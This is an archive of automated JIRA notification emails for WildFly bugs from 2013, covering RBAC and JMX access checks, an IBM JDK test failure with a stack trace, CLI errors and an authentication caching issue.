Message-ID: <JIRA.12500142.1378404490000.32402.1379494205093@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805363#comment-12805363 ] 

RH Bugzilla Integration commented on WFLY-2013:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 1004919|https://bugzilla.redhat.com/show_bug.cgi?id=1004919]

Verified in EAP 6.2.0.ER1.
                
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:19:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 05:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1783) IIOPNamingTestCase is failing
 when run on IBM JDK
In-Reply-To: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497581.1375186193000.32430.1379495944496@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1783?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805368#comment-12805368 ] 

RH Bugzilla Integration commented on WFLY-1783:
-----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> changed the Status of [bug 990112|https://bugzilla.redhat.com/show_bug.cgi?id=990112] from ON_QA to VERIFIED
                
> IIOPNamingTestCase is failing when run on IBM JDK
> -------------------------------------------------
>
>                 Key: WFLY-1783
>                 URL: https://issues.jboss.org/browse/WFLY-1783
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha3
>         Environment: ibm jdk
>            Reporter: Ond?ej Chaloupka
>            Assignee: Ond?ej Chaloupka
>
> Testcase org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase is failing when is run on IBM JDK with message
> Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
> The stack trace:
> {code}
> java.lang.ClassCastException: Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
>  at com.ibm.rmi.javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:356)
>  at javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:148)
>  at org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase.testIIOPNamingInvocation(IIOPNamingTestCase.java:65)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
>  at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
>  at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
>  at org.jboss.arquillian.junit.Arquillian$6$1.invoke(Arquillian.java:270)
>  at org.jboss.arquillian.container.test.impl.execution.LocalTestExecuter.execute(LocalTestExecuter.java:60)
>  at sun.reflect.GeneratedMethodAccessor43.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:115)
>  at org.jboss.arquillian.core.impl.EventImpl.fire(EventImpl.java:67)
>  at org.jboss.arquillian.container.test.impl.execution.ClientTestExecuter.execute(ClientTestExecuter.java:53)
>  at sun.reflect.GeneratedMethodAccessor13.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createContext(ContainerEventController.java:142)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createTestContext(ContainerEventController.java:129)
>  at sun.reflect.GeneratedMethodAccessor12.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createTestContext(TestContextHandler.java:89)
>  at sun.reflect.GeneratedMethodAccessor7.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createClassContext(TestContextHandler.java:75)
>  at sun.reflect.GeneratedMethodAccessor6.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createSuiteContext(TestContextHandler.java:60)
>  at sun.reflect.GeneratedMethodAccessor5.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.test.impl.EventTestRunnerAdaptor.test(EventTestRunnerAdaptor.java:111)
>  at org.jboss.arquillian.junit.Arquillian$6.evaluate(Arquillian.java:263)
>  at org.jboss.arquillian.junit.Arquillian$4.evaluate(Arquillian.java:226)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$5.evaluate(Arquillian.java:240)
>  at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50)
>  at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238)
>  at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63)
>  at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236)
>  at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53)
>  at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229)
>  at org.jboss.arquillian.junit.Arquillian$2.evaluate(Arquillian.java:185)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$3.evaluate(Arquillian.java:199)
>  at org.junit.runners.ParentRunner.run(ParentRunner.java:309)
>  at org.jboss.arquillian.junit.Arquillian.run(Arquillian.java:147)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:234)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:133)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:114)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtils.java:188)
>  at org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFactory.java:166)
>  at org.apache.maven.surefire.booter.ProviderFactory.invokeProvider(ProviderFactory.java:86)
>  at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:101)
>  at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:74)
> {code}
> The reason seem to be that the stubs are not generated. As I found there is no option to force jdk generate stubs on the fly (oracle jdk knows -Dcom.sun.CORBA.ORBUseDynamicStub=true) and the generation of stubs have to be done manually e.g. with rmic tool.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 05:19:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 05:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1783) IIOPNamingTestCase is failing
 when run on IBM JDK
In-Reply-To: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497581.1375186193000.32427.1379495944347@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1783?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805367#comment-12805367 ] 

RH Bugzilla Integration commented on WFLY-1783:
-----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> made a comment on [bug 990112|https://bugzilla.redhat.com/show_bug.cgi?id=990112]

Verified on 6.2.0.ER1.
The ibm jdk test fix is in.
                
> IIOPNamingTestCase is failing when run on IBM JDK
> -------------------------------------------------
>
>                 Key: WFLY-1783
>                 URL: https://issues.jboss.org/browse/WFLY-1783
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha3
>         Environment: ibm jdk
>            Reporter: Ond?ej Chaloupka
>            Assignee: Ond?ej Chaloupka
>
> Testcase org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase is failing when is run on IBM JDK with message
> Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
> The stack trace:
> {code}
> java.lang.ClassCastException: Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
>  at com.ibm.rmi.javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:356)
>  at javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:148)
>  at org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase.testIIOPNamingInvocation(IIOPNamingTestCase.java:65)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
>  at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
>  at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
>  at org.jboss.arquillian.junit.Arquillian$6$1.invoke(Arquillian.java:270)
>  at org.jboss.arquillian.container.test.impl.execution.LocalTestExecuter.execute(LocalTestExecuter.java:60)
>  at sun.reflect.GeneratedMethodAccessor43.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:115)
>  at org.jboss.arquillian.core.impl.EventImpl.fire(EventImpl.java:67)
>  at org.jboss.arquillian.container.test.impl.execution.ClientTestExecuter.execute(ClientTestExecuter.java:53)
>  at sun.reflect.GeneratedMethodAccessor13.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createContext(ContainerEventController.java:142)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createTestContext(ContainerEventController.java:129)
>  at sun.reflect.GeneratedMethodAccessor12.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createTestContext(TestContextHandler.java:89)
>  at sun.reflect.GeneratedMethodAccessor7.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createClassContext(TestContextHandler.java:75)
>  at sun.reflect.GeneratedMethodAccessor6.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createSuiteContext(TestContextHandler.java:60)
>  at sun.reflect.GeneratedMethodAccessor5.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.test.impl.EventTestRunnerAdaptor.test(EventTestRunnerAdaptor.java:111)
>  at org.jboss.arquillian.junit.Arquillian$6.evaluate(Arquillian.java:263)
>  at org.jboss.arquillian.junit.Arquillian$4.evaluate(Arquillian.java:226)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$5.evaluate(Arquillian.java:240)
>  at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50)
>  at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238)
>  at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63)
>  at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236)
>  at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53)
>  at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229)
>  at org.jboss.arquillian.junit.Arquillian$2.evaluate(Arquillian.java:185)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$3.evaluate(Arquillian.java:199)
>  at org.junit.runners.ParentRunner.run(ParentRunner.java:309)
>  at org.jboss.arquillian.junit.Arquillian.run(Arquillian.java:147)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:234)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:133)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:114)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtils.java:188)
>  at org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFactory.java:166)
>  at org.apache.maven.surefire.booter.ProviderFactory.invokeProvider(ProviderFactory.java:86)
>  at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:101)
>  at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:74)
> {code}
> The reason seem to be that the stubs are not generated. As I found there is no option to force jdk generate stubs on the fly (oracle jdk knows -Dcom.sun.CORBA.ORBUseDynamicStub=true) and the generation of stubs have to be done manually e.g. with rmic tool.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 05:25:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Wed, 18 Sep 2013 05:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.32439.1379496304073@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805369#comment-12805369 ] 

Ladislav Thon commented on WFLY-2040:
-------------------------------------

I have almost finalized my tests for non-core MBeans and with all the fixes, they are passing. I need to do some final touches, but I don't expect any new failures. I hope to issue a separate pull request later today.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:27:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 05:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2099) Cryptic error when adding
 duplicate include/exclude definitions to a role.
In-Reply-To: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500862.1379434427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500862.1379434427000.32451.1379496423631@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2099?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805370#comment-12805370 ] 

Darran Lofthouse commented on WFLY-2099:
----------------------------------------

The error message to be output will be: -

{code}
[standalone at localhost:9990 /] ./core-service=management/access=authorization/role-mapping=TestMapping/include=2:add(type=user, name=testUser, realm=ManagementRealm)
{
    "outcome" => "failed",
    "failure-description" => "JBAS015287: Role 'TESTMAPPING' already contains an INCLUDE for type=USER, name=testUser, realm=ManagementRealm.",
    "rolled-back" => true
}
{code}
                
> Cryptic error when adding duplicate include/exclude definitions to a role.
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2099
>                 URL: https://issues.jboss.org/browse/WFLY-2099
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: rbac-setup.txt
>
>
> When adding a role assigmment as 'administrator" i get this:
> This request
> {noformat}
> {
>     "address" => [
>         ("core-service" => "management"),
>         ("access" => "authorization"),
>         ("role-mapping" => "ADMINISTRATOR"),
>         ("include" => "user-administrator at ManagementRealm")
>     ],
>     "name" => "administrator",
>     "type" => "USER",
>     "realm" => "ManagementRealm",
>     "operation" => "add"
> }
> {noformat}
> ... leads to
> {noformat}
> [Host Controller] 18:12:36,723 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-9) JBAS014613: Operation ("add") failed - address: ([
> [Host Controller]     ("core-service" => "management"),
> [Host Controller]     ("access" => "authorization"),
> [Host Controller]     ("role-mapping" => "ADMINISTRATOR"),
> [Host Controller]     ("include" => "user-administrator at ManagementRealm")
> [Host Controller] ]) - failure description: "JBAS015285: The runtime role mapping configuration is inconsistent, the server must be restarted."
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:47:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 18 Sep 2013 05:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.32480.1379497623541@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805373#comment-12805373 ] 

Heiko Braun commented on WFLY-2049:
-----------------------------------

Update: In the most recent build EAP (rev 93e062314e28be7369386164dadf7e05b60d29c6) shows the same error.
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:47:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 18 Sep 2013 05:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.32483.1379497623674@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2049:
------------------------------

    Priority: Blocker  (was: Critical)

    
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 05:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 05:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1574) jboss-cli.sh throws
 IllegalArgumentException when using tab complete
In-Reply-To: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494883.1371828708000.32493.1379497863560@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1574?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805375#comment-12805375 ] 

RH Bugzilla Integration commented on WFLY-1574:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 977407|https://bugzilla.redhat.com/show_bug.cgi?id=977407]

Verified on EAP 6.2.0.ER2
                
> jboss-cli.sh throws IllegalArgumentException when using tab complete
> --------------------------------------------------------------------
>
>                 Key: WFLY-1574
>                 URL: https://issues.jboss.org/browse/WFLY-1574
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha1
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha3
>
>
> When using tab complete to try and auto-fill values or get hints as to the allowed values for certain attributes, an IllegalArgumentException is thrown.
> Note: This issue also affects 7.2.0.Final 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

